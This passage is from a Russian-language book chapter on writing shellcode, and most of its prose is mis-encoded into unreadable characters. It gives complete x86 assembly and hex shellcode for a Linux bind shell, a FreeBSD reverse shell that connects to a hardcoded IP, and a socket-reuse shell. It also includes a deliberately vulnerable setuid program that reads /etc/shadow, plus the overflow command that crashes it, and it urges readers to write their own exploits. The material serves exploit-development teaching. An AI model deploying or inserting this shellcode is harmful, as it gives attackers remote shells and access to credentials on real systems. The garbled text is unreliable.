íå÷òî âðîäå:

socketcall(1, [óêàçàòåëü íà ìàññèâ, ñîäåðæàùèé 2, 1, 0]);

Â ïðèìåðå 9.11 ïðèâåäåí shell-êîä äëÿ ïðèâÿçêè ê ïîðòó â Linux.

Пример 9.11.Пример 9.11.Пример 9.11.Пример 9.11.Пример 9.11. Код для привязки к порту в Linux
1 BITS 32

2
3 xor eax,eax
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 4 xor ebx,ebx

 5 cdq

 6
 7 push eax

 8 push byte 0x1

 9 push byte 0x2

10 mov ecx,esp

11 inc bl

12 mov al,102

13 int 0x80

14 mov esi,eax   ; ñîõðàíèòü âîçâðàùåííîå çíà÷åíèå â esi

15
16 push edx

17 push long 0xAAAA02AA

18 mov ecx,esp

19 push byte 0x10

20 push ecx

21 push esi

22 mov ecx,esp

23 inc bl

24 mov al,102

25 int 0x80

26
27 push edx

28 push esi

29 mov ecx,esp

30 mov bl,0x4

31 mov al,102

32 int 0x80

33
34 push edx

35 push edx

36 push esi

37 mov ecx,esp

38 inc bl

39 mov al,102

40 int 0x80

41 mov ebx,eax

42
43 xor ecx,ecx

44 mov cl,3

45 l00p:

46 dec cl

47 mov al,63

48 int 0x80

49 jnz l00p

50
51 push edx

52 push long 0x68732f2f

Примеры shell�кодов
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53 push long 0x6e69622f

54 mov ebx,esp

55 push edx

56 push ebx

57 mov ecx,esp

58 mov al, 0x0b

59 int 0x80

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Ýòî shell-êîä î÷åíü íàïîìèíàåò òî, ÷òî ìû ïðîäåëàëè äëÿ FreeBSD.

Â îáùåì-òî ìû èñïîëüçóåì òå æå àðãóìåíòû è òå æå ñèñòåìíûå âûçîâû,
òîëüêî âûíóæäåíû ïðèáåãíóòü ê èíòåðôåéñó socketcall, è, êîíå÷íî, ïåðåäà-
âàòü àðãóìåíòû ÿäðó íóæíî èíà÷å. Ðàññìîòðèì ýòó ïðîãðàììó ïî ÷àñòÿì.

� Â ñòðîêàõ 3–5 ìû îáíóëÿåì ðåãèñòðû EAX, EBX è EDX. À çàòåì âûïîëíÿ-
åì àíàëîã ñèñòåìíîãî âûçîâà socket(2,1,0). Çíà÷åíèÿ 0, 1 è 2 ïîìåùàþò-
ñÿ â ñòåê, ïîñëå ÷åãî çíà÷åíèå ESP ñîõðàíÿåòñÿ â ðåãèñòðå ECX (ñòðîêà 10),
êîòîðûé, ñòàëî áûòü, ñîäåðæèò óêàçàòåëü íà àðãóìåíòû.

� Â ñòðîêå 11 ìû óâåëè÷èâàåì EBX íà 1. Òåïåðü òàì íàõîäèòñÿ çíà÷åíèå 1,
ðàâíîå èäåíòèôèêàòîðó ôóíêöèè socket. Ìû ïîëüçóåìñÿ êîìàíäîé INC
âìåñòî MOV, òàê êàê «inc bl» òðàíñëèðóåòñÿ â îäèí áàéò, à «mov bl,0x1» –
â äâà.

� Àðãóìåíòû ïîäãîòîâëåíû, ïîýòîìó çàíîñèì íîìåð ñèñòåìíîãî âûçîâà
socketcall â AL (ñòðîêà 12) è âûçûâàåì ÿäðî. Ïîñëå âûïîëíåíèÿ ôóíêöèè
socket ÿäðî ïîìåùàåò âîçâðàùåííîå çíà÷åíèå, òî åñòü äåñêðèïòîð ñî-
êåòà, â ðåãèñòð EAX. Â ñòðîêå 14 ìû êîïèðóåì åãî â ESI.

� Äàëåå ìû õîòèì âûïîëíèòü ýêâèâàëåíò ôóíêöèè:

bind(soc, (struct sockaddr *) &serv_addr, 0x10);

� Â ñòðîêàõ 16 è 17 ìû ïðèñòóïàåì ê ïîñòðîåíèþ ñòðóêòóðû sockaddr. Åå
îïèñàíèå â Linux íè÷åì íå îòëè÷àåòñÿ îò FreeBSD, è, êàê è ðàíüøå, ìû
ïðèâÿçûâàåì ñîêåò ê ïîðòó 0xAAAA (43690). Ïîñëå òîãî êàê ñòðóêòóðà
áóäåò ïîñòðîåíà â ñòåêå, ìû ñîõðàíÿåì òåêóùåå çíà÷åíèå ESP â ESI
(ñòðîêà 18).

� Òåïåðü ìîæíî ïîìåñòèòü â ñòåê àðãóìåíòû ôóíêöèè bind. Â ñòðîêå 17
ìû çàòàëêèâàåì ïîñëåäíèé àðãóìåíò 0x10, çàòåì óêàçàòåëü íà ñòðóêòóðó
sockaddr (ñòðîêà 18) è, íàêîíåö, äåñêðèïòîð ñîêåòà. Ñîõðàíÿåì íîâîå
çíà÷åíèå ESP â ðåãèñòðå ECX. Â ðåçóëüòàòå ìû ïîäãîòîâèëè âòîðîé àð-
ãóìåíò äëÿ socketcall, òàê ÷òî ïåðåä âûçîâîì ÿäðà îñòàëîñü òîëüêî ïîä-
ãîòîâèòü ïåðâûé àðãóìåíò.

� Ðåãèñòð EBX âñå åùå ñîäåðæèò 1 (ñòðîêà 11). Ïîñêîëüêó íîìåð ôóíêöèè
bind ðàâåí 2, òî â ñòðîêå 23 ìû óâåëè÷èâàåì BL íà åäèíèöó. Çàòåì çàíî-
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ñèì â AL íîìåð ñèñòåìíîãî âûçîâà socketcall è âûçûâàåì ÿäðî. Ìîæíî
ïåðåõîäèòü ê ðåàëèçàöèè ñëåäóþùåé ôóíêöèè

listen(soc, 0);

� Ñ íåé âñå ïðîñòî. ×òîáû ïîäãîòîâèòü àðãóìåíòû, ìû ïîìåùàåì â ñòåê
çíà÷åíèå ðåãèñòðà EDX, êîòîðûé ïî-ïðåæíåìó ñîäåðæèò íóëè (ñòðîêà
27), à çàòåì çàòàëêèâàåì äåñêðèïòîð ñîêåòà, õðàíÿùèéñÿ â ESI. Êîëü ñêî-
ðî îáà àðãóìåíòà ãîòîâû, ñîõðàíÿåì óêàçàòåëü íà íèõ, êîïèðóÿ ESP
â ECX. Òàê  êàê  íîìåð ôóíêöèè l isten ðàâåí 4, à â ðåãèñòðå  EBX íàõîäèò-
ñÿ 2, òî íóæíî äâàæäû èíêðåìåíòèðîâàòü BL èëè âûïîëíèòü îäíó êî-
ìàíäó «mov bl,0x4». Ìû âûáðàëè âòîðîé âàðèàíò (ñòðîêà 30). Òåïåðü îñ-
òàëîñü çàíåñòè íîìåð ñèñòåìíîãî âûçîâà socketcall â AL è âûçâàòü ÿäðî.
Ñëåäóþùàÿ ôóíêöèÿ – ýòî

cli = accept(soc, 0, 0);

� È òóò ñëîæíîñòåé íåò. Äâàæäû çàòàëêèâàåì â ñòåê EDX, à âñëåä çà íèì
äåñêðèïòîð ñîêåòà, íàõîäÿùèéñÿ â ESI. Ïîìåñòèâ â ñòåê àðãóìåíòû, ñî-
õðàíÿåì óêàçàòåëü íà íèõ, êîïèðóÿ ESP â ECX. Ñåé÷àñ BL ñîäåðæèò 4,
à äîëæíî ñîäåðæàòü 5 – íîìåð ôóíêöèè accept. Ïîýòîìó â ñòðîêå 38 óâå-
ëè÷èâàåì BL íà åäèíèöó. Äëÿ âûçîâà socketcall âñå ãîòîâî, äàäèì ÿäðó
âîçìîæíîñòü ïîðàáîòàòü è ñîõðàíèì âîçâðàùåííîå çíà÷åíèå â ðåãèñò-
ðå EBX (ñòðîêà 41);

� Ìû ðåàëèçîâàëè ñîçäàíèå ñîêåòà, ïðèâÿçêó åãî ê ïîðòó, ïåðåâîä â ðå-
æèì ïðîñëóøèâàíèÿ è ïðèåì ñîåäèíåíèÿ. Îñòàëîñü ïðîäóáëèðîâàòü
stdin, stdout è stderr íà ñîêåò â öèêëå (ñòðîêè 43-49) è âûçâàòü èíòåðïðå-
òàòîð êîìàíä.

Îòêîìïèëèðóåì, ðàñïå÷àòàåì è ïðîòåñòèðóåì íàø shell-êîä. Äëÿ ýòîãî ïî-
íàäîáÿòñÿ äâà òåðìèíàëà. Íà ïåðâîì ìû çàéìåìñÿ êîìïèëÿöèåé è çàïóñêîì
shell-êîäà, à íà âòîðîì çàïóñòèì êëèåíòà, êîòîðûé óñòàíîâèò ñîåäèíåíèå è
ïîëó÷èò îáîëî÷êó. Íà òåðìèíàëå 1 ââåäåì ñëåäóþùèå êîìàíäû:

[root@gabriel bind]# nasm -o bind bind.S
[root@gabriel bind]# s-proc -p bind

/* Ñëåäóþùèé shell-êîä çàíèìàåò 98 áàéòîâ */

char shellcode[] =
"\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0"
"\x66\xcd\x80\x89\xc6\x52\x68\xaa\x02\xaa\xaa\x89\xe1\x6a\x10"
"\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3"
"\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd"
"\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8"

Примеры shell�кодов
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"\x52\x68\x2f\x73\x68\x68\x2f\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80";

[root@gabriel bind]# s-proc -e bind
Calling code...

Òåðìèíàë 2:

[root@gabriel bind]# netstat -al | grep 43690
tcp       0      0 *:43690      *:*                        LISTEN
[root@gabriel bind]# nc localhost 43690
uptime
 6:58PM up 27 days,  2:08,  2 users, load average: 1.00, 1.00, 1.00
exit
[root@gabriel bind]#

Примечание

Модифицируйте shell�код для привязки к порту так, чтобы можно
было одновременно обрабатывать несколько входящих соединений.
Указание: добавьте системный вызов fork() и организуйте цикл. Что�
бы по�настоящему овладеть искусством написания shell�кодов, ис�
пользуйте их в своих собственных эксплойтах. Можно также попро�
бовать написать эксплойт для известной уязвимости и заставить его
вывести строку на stdout. Указание: прочитайте раздел о повторном
использовании переменных.

Shell3код для обратного соединения

Shell-êîä äëÿ îáðàòíîãî ñîåäèíåíèÿ óñòàíàâëèâàåò ñîåäèíåíèå ìåæäó âçëîìàí-
íîé ñèñòåìîé è äðóãîé, íà êîòîðîé ðàáîòàåò êàêàÿ-íèáóäü ïðîãðàììà äëÿ ñ÷è-
òûâàíèÿ ñåòåâîãî òðàôèêà, íàïðèìåð, netcat. Ïîñëå òîãî êàê shell-êîä óñòàíî-
âèò ñîåäèíåíèå, îí çàïóñêàåò èíòåðàêòèâíóþ îáîëî÷êó. Òîò ôàêò, ÷òî èíèöèà-
òîðîì ñîåäèíåíèÿ âûñòóïàåò âçëîìàííàÿ ìàøèíà, ïîçâîëÿåò àòàêîâàòü ñåðâåð,
íàõîäÿùèéñÿ çà ìåæñåòåâûì ýêðàíîì. Òàêîé âèä shell-êîäà ïîëåçåí òàêæå äëÿ
àòàêè íà óÿçâèìîñòè, êîòîðûé íå ïîääàþòñÿ ïðÿìîé ýêñïëóàòàöèè. Íàïðèìåð,
â ïðîãðàììå Xpdf (äëÿ ïðîñìîòðà PDF-ôàéëîâ â UNIX) áûëà îáíàðóæåíà óÿçâè-
ìîñòü, ñâÿçàííàÿ ñ ïåðåïîëíåíèåì áóôåðà. Õîòÿ îíà î÷åíü èíòåðåñíà, íî àòàêî-
âàòü åå óäàëåííî çàòðóäíèòåëüíî, òàê êàê âû íå ìîæåòå çàñòàâèòü êîãî-íè-
áóäü ïðî÷èòàòü ñïåöèàëüíî ïîäãîòîâëåííûé PDF-ôàéë. Îäèí èç âàðèàíòîâ –
ñîçäàòü PDF-ôàéë, ñïîñîáíûé ïðèâëå÷ü âíèìàíèå ïîëüçîâàòåëåé è âñòðîèòü
â íåãî shell-êîä, êîòîðûé ñîåäèíèòñÿ ÷åðåç Èíòåðíåò ñ âàøåé ìàøèíîé, ñ êîòî-
ðîé âû ìîæåòå êîíòðîëèðîâàòü àòàêîâàííóþ ñèñòåìó.
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Ïîñìîòðèì, êàê òàêàÿ âîçìîæíîñòü ìîæåò áûòü ðåàëèçîâàíà íà C.

 1 #include <unistd.h>

 2 #include <sys/socket.h>

 3 #include <netinet/in.h>

 4
 5 int soc, rc;

 6 struct sockaddr_in serv_addr;

 7
 8 int main()

 9 {

10   serv_addr.sin_family = 2;

11   serv_addr.sin_addr.s_addr = 0x210c060a;

12   serv_addr.sin_port = 0xAAAA; /* ïîðò 43690 */

13   soc = socket(2,1,6);

14   rc = connect(soc, (struct sockaddr *) &serv_addr, 0x10);

15   dup2(cli,0);

16   dup2(cli,1);

17   dup2(cli,2);

20   execve("/bin/sh",0,0);

21 }

Êàê âèäèòå, ýòîò êîä î÷åíü ïîõîæ íà ïðèâÿçêó ê ïîðòó, òîëüêî âìåñòî
bind, l isten è accept ìû ïîëüçóåìñÿ ñèñòåìíûì âûçîâîì connect. Ïðàâäà, åñòü
îäíà íåïðèÿòíîñòü: IP-àäðåñ êîíòðîëèðóþùåé ìàøèíû âñòðîåí ïðÿìî
â òåêñò shell-êîäà. À ïîñêîëüêó ìíîãèå àäðåñà ñîäåðæàò íóëè, òî shell-êîä ìî-
æåò îêàçàòüñÿ íåðàáîòàþùèì. Â ïðèìåðå 9.12 ïîêàçàíà ðåàëèçàöèÿ shell-êîäà
äëÿ îáðàòíîãî ñîåäèíåíèÿ íà àññåìáëåðå â FreeBSD.

Пример 9.12.Пример 9.12.Пример 9.12.Пример 9.12.Пример 9.12. Shell*код для обратного соединения в FreeBSD
 1 BITS 32

 2
 3 xor ecx, ecx

 4 mul ecx

 5
 6 push eax

 7 push byte 0x01

 8 push byte 0x02

 9 mov al,97

10 push eax

11 int 0x80

12
13 mov edx,eax

14 push 0xfe01a8c0

15 push 0xAAAA02AA

16 mov eax,esp

17

Примеры shell�кодов
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18 push byte 0x10

19 push eax

20 push edx

21 xor eax,eax

22 mov al,98

23 push eax

24 int 0x80

25
26 xor ebx,ebx

27 mov cl,3

28
29 l00p:

30 push ebx

31 push edx

32 mov al,90

33 push eax

34 inc ebx

35 int 0x80

36 loop l00p

37
38 xor eax,eax

39 push eax

40 push 0x68732f6e

41 push 0x69622f2f

42 mov ebx, esp

43 push eax

44 push eax

45 push ebx

46 push eax

47 mov al, 59

48 int 80h

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Âïëîòü äî ñòðîêè 17 ýòîò êîä äîëæåí áûòü âàì óæå çíàêîì çà èñêëþ÷å-

íèåì ðàçâå ÷òî êîìàíäû «mul ecx» â ñòðîêå 4. Ýòà êîìàíäà îáíóëÿåò
ðåãèñòð EAX. Ìû âîñïîëüçîâàëèñü åé, ïîòîìó ÷òî îíà çàíèìàåò âñåãî
îäèí áàéò, òîãäà êàê «xor eax, eax» – äâà áàéòà.

� Ïîñëå âîçâðàòà èç ñèñòåìíîãî âûçîâà socket ìû âûçûâàåì connect äëÿ
óñòàíîâëåíèÿ ñîåäèíåíèÿ. Ýòîìó ñèñòåìíîìó âûçîâó íóæíî òðè àðãó-
ìåíòà: äåñêðèïòîð ñîêåòà, ñòðóêòóðà, ñîäåðæàùàÿ IP-àäðåñ è íîìåð ïîð-
òà, à òàêæå äëèíà ýòîé ñòðóêòóðû. Âñå ýòè àðãóìåíòû ìàëî ÷åì îòëè÷à-
þòñÿ îò àðãóìåíòîâ bind. Îäíàêî ñòðóêòóðà èíèöèàëèçèðóåòñÿ èíà÷å,
ïîñêîëüêó íà ýòîò ðàç äîëæíà ñîäåðæàòü IP óäàëåííîãî õîñòà, ñ êîòîðûì
õî÷åò ñîåäèíèòüñÿ shell-êîä.

� Ìû ñîçäàäèì ñòðóêòóðó ñëåäóþùèì îáðàçîì. Ñíà÷àëà ïîìåñòèì â ñòåê
IP-àäðåñ (ñòðîêà 14), âñëåä çà íèì íîìåð ïîðòà 0xAAAA (43690), èäåíòè-
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ôèêàòîð ïðîòîêîëà 02 (IP) è äëèíó ñòðóêòóðû sin_len. Çàòåì ñîõðàíèì
òåêóùåå çíà÷åíèå ESP â EAX, ÷òîáû â äàëüíåéøåì èñïîëüçîâàòü â êà÷å-
ñòâå óêàçàòåëÿ íà ýòó ñòðóêòóðó.

� Ïîëó÷èòü øåñòíàäöàòåðè÷íîå ïðåäñòàâëåíèå ñâîåãî IP-àäðåñà íåñëîæ-
íî. Àäðåñ ñîñòîèò èç ÷åòûðåõ ÷èñåë, ïåðåñòàâüòå èõ â îáðàòíîì ïîðÿäêå
è ïðåîáðàçóéòå êàæäîå ÷èñëî â 16-ðè÷íóþ ñèñòåìó. Íàïðèìåð, IP-àä-
ðåñ 1.2.3.4 â 16-ðè÷íîé çàïèñè èìååò âèä 0x04030201. Ìîæíî íàïèñàòü
ïðîñòåíüêèé ñöåíàðèé íà Perl äëÿ ðåøåíèÿ ýòîé çàäà÷è:

su-2.05a# perl -e 'printf "0x" . "%02x" x 4 . "\n", 4, 3, 2, 1'

� Òåïåðü ìîæíî ïîìåñòèòü â ñòåê àðãóìåíòû ñèñòåìíîãî âûçîâà connect.
Ñíà÷àëà çàòàëêèâàåì 0x10 (ñòðîêà 18), çàòåì óêàçàòåëü íà ñòðóêòóðó
(ñòðîêà 19), çà íèì – çíà÷åíèå, âîçâðàùåííîå ñèñòåìíûì âûçîâîì socket
(ñòðîêà 20). Îñòàëîñü çàíåñòè â AL íîìåð ñèñòåìíîãî âûçîâà, è ìîæíî
âûçûâàòü ÿäðî.

� Åñëè âñå ïðîéäåò óñïåøíî, connect âåðíåò äåñêðèïòîð ñîåäèíåííîãî ñî-
êåòà, íà êîòîðûé ìû ïðîäóáëèðóåì stdin, stdout è stderr, ïîñëå ÷åãî âû-
ïîëíèì /bin/sh. Ýòà ÷àñòü êîäà íè÷åì íå îòëè÷àåòñÿ îò ñòðîê, ñëåäóþùèõ
çà accept â shell-êîäå äëÿ ïðèâÿçêè ê ïîðòó.

Ïðîòðàññèðóåì èñïîëíåíèå shell-êîäà:

667 s_proc  CALL  socket(0x2,0x1,0)
667 s_proc  RET   socket 3
667 s_proc  CALL  connect(0x3,0xbfbffa74,0x10)
667 s_proc  RET   connect 0
667 s_proc  CALL  dup2(0x3,0)
667 s_proc  RET   dup2 0
667 s_proc  CALL  dup2(0x3,0x1)
667 s_proc  RET   dup2 1
667 s_proc  CALL  dup2(0x3,0x2)
667 s_proc  RET   dup2 2
667 s_proc  CALL  execve(0xbfbffa34,0,0)
667 s_proc  NAMI  "//bin/sh"

Îòëè÷íî, âñå ðàáîòàåò! ×òîáû ïðîòåñòèðîâàòü shell-êîä, ïîíàäîáèòñÿ ïðèëî-
æåíèå, ðàáîòàþùåå íà òîé ìàøèíå, ñ êîòîðîé îí óñòàíàâëèâàåò ñîåäèíåíèå.
Äëÿ ýòîé öåëè ïðåêðàñíî ïîäõîäèò ïðîãðàììà netcat, êîòîðàÿ ìîæåò ïðîñëóøè-
âàòü ëþáîé TCP- èëè UDP-ïîðò â îæèäàíèè ñîåäèíåíèÿ. Â äàííîì ñëó÷àå ñëå-
äóåò çàïóñòèòü netcat â ðåæèìå äåìîíà íà ïîðòó 43690 êîìàíäîé nc -l -p 43690.

Shell3код для повторного использования сокета

Shell-êîä äëÿ ïðèâÿçêè ê ïîðòó î÷åíü ïîëåçåí äëÿ óäàëåííîé àòàêè íà íåêîòî-
ðûå óÿçâèìîñòè, íî èíîãäà îí îêàçûâàåòñÿ ñëèøêîì äëèííûì è íåýôôåêòèâ-

Примеры shell�кодов
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íûì. Â îñîáåííîñòè ýòî ñïðàâåäëèâî äëÿ òåõ ñëó÷àåâ, êîãäà íåîáõîäèìî óñ-
òàíîâèòü ñîåäèíåíèå ñ óÿçâèìûì ñåðâåðîì. Îïèñûâàåìûé æå â ýòîì ðàçäåëå
shell-êîä ïîçâîëÿåò ïîâòîðíî èñïîëüçîâàòü óæå ñóùåñòâóþùåå ñîåäèíåíèå,
÷òî äàåò âîçìîæíîñòü ñîêðàòèòü ðàçìåð è ïîâûøàåò øàíñû íà òî, ÷òî ýêñï-
ëîéò âûïîëíèò ñâîþ çàäà÷ó.

Èäåÿ ïîâòîðíî èñïîëüçîâàíèÿ ñîåäèíåíèÿ ïðîñòà. Êîãäà âû óñòàíàâëèâàå-
òå ñîåäèíåíèå ñ óÿçâèìûì ïðèëîæåíèåì, îíî âûçûâàåò ôóíêöèþ accept. Êàê
ìû âèäåëè â ïðèìåðàõ 9.9 è 9.10, ýòà ôóíêöèÿ âîçâðàùàåò äåñêðèïòîð ñîêåòà,
÷åðåç êîòîðûé äàëåå âåäåòñÿ îáìåí äàííûìè.

Shell-êîä, ïîâòîðíî èñïîëüçóþùèé ñîåäèíåíèå, ïðîñòî îáðàùàåòñÿ ê ñèñ-
òåìíîìó âûçîâó dup2, ÷òîáû ïåðåíàïðàâèòü stdin, stdout è stderr â ñîêåò, ïîñëå
÷åãî çàïóñêàåò îáîëî÷êó. Òîëüêî è âñåãî. Íî åñòü îäíà ïðîáëåìà. Íàì íåîá-
õîäèì äåñêðèïòîð îòêðûòîãî ñîêåòà, âîçâðàùàåìûé ñèñòåìíûì âûçîâîì
accept, íî ñàì-òî shell-êîä åãî íå âûïîëíÿåò, ñòàëî áûòü, ïðèäåòñÿ ñòðîèòü
äîãàäêè. È â ýòîì âû ìîæåòå ïîìî÷ü.

Ïðîñòûå îäíîïîòî÷íûå ñåòåâûå äåìîíû îáû÷íî èñïîëüçóþò êàêèå-òî
ôàéëîâûå äåñêðèïòîðû íà ýòàïå èíèöèàëèçàöèè, à çàòåì âõîäÿò â áåñêîíå÷-
íûé öèêë ïî ïðèåìó è îáðàáîòêå çàïðîñîâ. Êàê ïðàâèëî, îíè ïîëó÷àþò îò
accept îäèí è òîò æå äåñêðèïòîð, òàê êàê çàïðîñû îáðàáàòûâàþòñÿ ïîñëåäî-
âàòåëüíî. Âçãëÿíèòå íà òðàññó:

1 603 remote_format_strin  CALL  socket(0x2,0x1,0x6)
2 603 remote_format_strin  RET   socket 3
3 603 remote_format_strin  CALL  bind(0x3,0xbfbffb1c,0x10)
4 603 remote_format_strin  RET   bind 0
5 603 remote_format_strin  CALL  listen(0x3,0x1)
6 603 remote_format_strin  RET   listen 0
7 603 remote_format_strin  CALL  accept(0x3,0,0)
8 603 remote_format_strin  RET   accept 4
9 603 remote_format_strin  CALL  read(0x3,0xbfbff8f0,0x1f4)

Ýòà ïðîãðàììà ñîçäàåò ñîêåò è íà÷èíàåò ïðîñëóøèâàòü åãî. Â ñòðîêå 7 ïðè-
íèìàåòñÿ çàïðîñ íà ñîåäèíåíèå, è accept âîçâðàùàåò äåñêðèïòîð 4. Äàëåå èç
ýòîãî äåñêðèïòîðà ÷èòàþòñÿ äàííûå, ïîñûëàåìûå êëèåíòîì.

Ïðåäñòàâèì ñåáå, ÷òî â ýòîò ìîìåíò ìîæíî âîñïîëüçîâàòüñÿ êàêîé-òî óÿç-
âèìîñòüþ è çàïóñòèòü shell-êîä. ×òîáû ïîëó÷èòü èíòåðàêòèâíóþ îáîëî÷êó,
íàì äîñòàòî÷íî âñåãî ëèøü âûïîëíèòü ñèñòåìíûå âûçîâû, ïîêàçàííûå
â ïðèìåðå 9.13.

Пример 9.13. Пример 9.13. Пример 9.13. Пример 9.13. Пример 9.13. Дублирование дескрипторов
1   dup2(4,0);
2   dup2(4,1);
3   dup2(4,2);
4   execve("/bin/sh",0,0);
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Â ñòðîêàõ 1–3 ìû äóáëèðóåì äåñêðèïòîðû stdin, stdout è stderr íà äåñêðèïòîð
ñîêåòà. Â ðåçóëüòàòå âñå äàííûå, ÷èòàåìûå èç ñîêåòà, ïðîãðàììà âèäèò íà
ñòàíäàðòíîì ââîäå, à äàííûå, çàïèñûâàåìûå ïðîãðàììîé â stdout èëè stderr,
ïåðåíàïðàâëÿþòñÿ êëèåíòó. Êîëü ñêîðî îáîëî÷êà ïîëó÷åíà, ïðîãðàììó ìîæ-
íî ñ÷èòàòü âçëîìàííîé. Â ïðèìåðå 9.14 ìû ïðîñòî åùå ðàç ïîêàæåì, êàê
ýòîò shell-êîä ðåàëèçóåòñÿ â Linux, ïîñêîëüêó ñèñòåìíûå âûçîâû dup2 è execve
óæå ïîäðîáíî îáñóæäàëèñü âûøå.

Пример 9.14.Пример 9.14.Пример 9.14.Пример 9.14.Пример 9.14. Реализация в Linux
 1 xor ecx,ecx
 2 mov bl,4

 3 mov cl,3
 4 l00p:

 5 dec cl
 6 mov al,63

 7 int 0x80
 8 jnz l00p

 9
10 push edx

11 push long 0x68732f2f
12 push long 0x6e69622f

13 mov ebx,esp
14 push edx

15 push ebx
16 mov ecx,esp

17 mov al, 0x0b
18 int 0x80

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ñòðîêàõ 1–9 âû ëåãêî óçíàåòå öèêë äëÿ òðåõêðàòíîãî âûçîâà dup2, îí óæå
âñòðå÷àëñÿ â shell-êîäå äëÿ ïðèâÿçêè ê ïîðòó. Åäèíñòâåííîå îòëè÷èå ñîñòîèò
â òîì, ÷òî ìû ñðàçó çàïèñûâàåì çíà÷åíèå äåñêðèïòîðà ôàéëà (4) â ðåãèñòð BL,
òàê êàê èç ðåçóëüòàòîâ òðàññèðîâêè çíàåì, ÷òî èìåííî òàêîé äåñêðèïòîð
âåðíåò ñèñòåìíûé âûçîâ accept, êîãäà ïðèìåò çàïðîñ. Ïîñëå äóáëèðîâàíèÿ
stdin, stdout è stderr íà ñîêåò ìû çàïóñêàåì /bin/sh. Òàê êàê ÷èñëî âûïîëíÿåìûõ
ñèñòåìíûõ âûçîâîâ íåâåëèêî, òî è shell-êîä ïîëó÷àåòñÿ î÷åíü êîðîòêèì.

bash-2.05b$ s-proc -p reuse_socket

/* Ñëåäóþùèé shell-êîä çàíèìàåò 33 áàéòà */

char shellcode[] =
"\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

bash-2.05b$

Примеры shell�кодов
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Повторное использование

файловых дескрипторов

Â ïðèìåðå 9.14 ìû ïîêàçàëè, êàê ìîæíî ïîâòîðíî èñïîëüçîâàòü ñóùåñòâóþ-
ùåå ñîåäèíåíèå äëÿ çàïóñêà èíòåðàêòèâíîé îáîëî÷êè íà òîì ñîêåòå, êîòîðûé
âåðíóë ñèñòåìíûé âûçîâ accept. Âàæíî ïîíèìàòü, ÷òî ðàç óæ âû ñóìåëè âû-
ïîëíèòü âíóòðè àòàêîâàííîé ïðîãðàììû ñâîé shell-êîä, òî ìîæåòå ïåðåõâà-
òèòü âñå ôàéëîâûå äåñêðèïòîðû, îòêðûòûå ýòîé ïðîãðàììîé. Ïðåäïîëî-
æèì, ÷òî ïðîãðàììà, ïîêàçàííàÿ â ïðèìåðå 9.15, óñòàíîâëåíà â Linux èëè
FreeBSD ñ áèòîì setuid è âëàäåëüöåì root, òî åñòü âî âðåìÿ ðàáîòû áóäåò
èìåòü ïðèâèëåãèè àäìèíèñòðàòîðà.

Пример 9.15. Пример 9.15. Пример 9.15. Пример 9.15. Пример 9.15. Программа с владельцем root и битом setuid
 1 #include <fcntl.h>

 2 #include <unistd.h>

 3
 4 void handle_file(int fd, char *stuff) {

 5
 6   char small[256];

 7   strcpy(small, stuff);

 8   memset(small, 0, sizeof(small));

 9   read(fd, small, 256);

10   /* ïðîäîëæåíèå ïðîãðàììû */

11 }

12
13 int main(int argc, char **argv, char **envp) {

14
15   int fd;

16   fd = open("/etc/shadow", O_RDONLY);

17   setuid(getuid());

18   setgid(getgid());

19   handle_file(fd, argv[1]);

20   return 0;

21 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Ýòà ïðîãðàììà, ïðåäíàçíà÷åííàÿ íå äëÿ îáû÷íûõ ïîëüçîâàòåëåé, íóæ-

äàåòñÿ â ïðèâèëåãèÿõ root’à òîëüêî äëÿ îòêðûòèÿ ôàéëà /etc/shadow. Îò-
êðûâ ôàéë (ñòðîêà 16), îíà íåìåäëåííî îòêàçûâàåòñÿ îò ñëèøêîì îá-
øèðíûõ ïðèâèëåãèé (ñòðîêè 17 è 18). Íî ôóíêöèÿ open() âîçâðàùàåò
äåñêðèïòîð ôàéëà, èç êîòîðîãî ìîæíî ÷èòàòü äàæå ïîñëå òîãî, êàê
ïðèâèëåãèè root ïîòåðÿíû.

� À äàëüøå èíòåðåñíåå. Â ñòðîêå 7 ïåðâûé àðãóìåíò, çàäàííûé â êîìàíä-
íîé ñòðîêå, êîïèðóåòñÿ â áóôåð ðàçìåðîì 256 áàéòîâ áåç ïðîâåðêè âû-
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õîäà çà ãðàíèöó ìàññèâà. Ñòàëî áûòü, ìû ìîæåì ñïðîâîöèðîâàòü ïåðå-
ïîëíåíèå áóôåðà! À óæ òîãäà íå ñîñòàâèò òðóäà íàïèñàòü shell-êîä, êî-
òîðûé ïðî÷èòàåò äàííûå èç òåíåâîãî ôàéëà ïàðîëåé, èìåÿ åãî äåñê-
ðèïòîð.

� Ïåðåäàâ ïðîãðàììå àðãóìåíò äëèííåå 256 áàéòîâ, ìû ñìîæåì çàòåðåòü
âàæíûå äàííûå â ñòåêå, â òîì ÷èñëå àäðåñ âîçâðàòà:

[root@gabriel /tmp]# ./readshadow ‘perl -e 'print "A"x268; print "BBBB"'‘

Segmentation fault [core dumped]
[root@gabriel /tmp]# gdb -q -core=core
Core was generated by './readshadow AAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) info reg eip
eip              0x42424242        0x42424242
(gdb)

Примечание

О том, как писать эксплойты, мы будем подробно говорить в главах 10,
11 и 12.

Â ïðèìåðå 9.16 ïîêàçàíî, êàêèå ñèñòåìíûå âûçîâû èñïîëüçóþòñÿ â ýòîé
ïðîãðàììå. Îñîáåííî èíòåðåñåí âûçîâ read, ïîñêîëüêó íàì áû õîòåëîñü ïðî-
÷èòàòü ôàéë /etc/shadow.

Пример 9.16. Пример 9.16. Пример 9.16. Пример 9.16. Пример 9.16. Трассировка системных вызовов
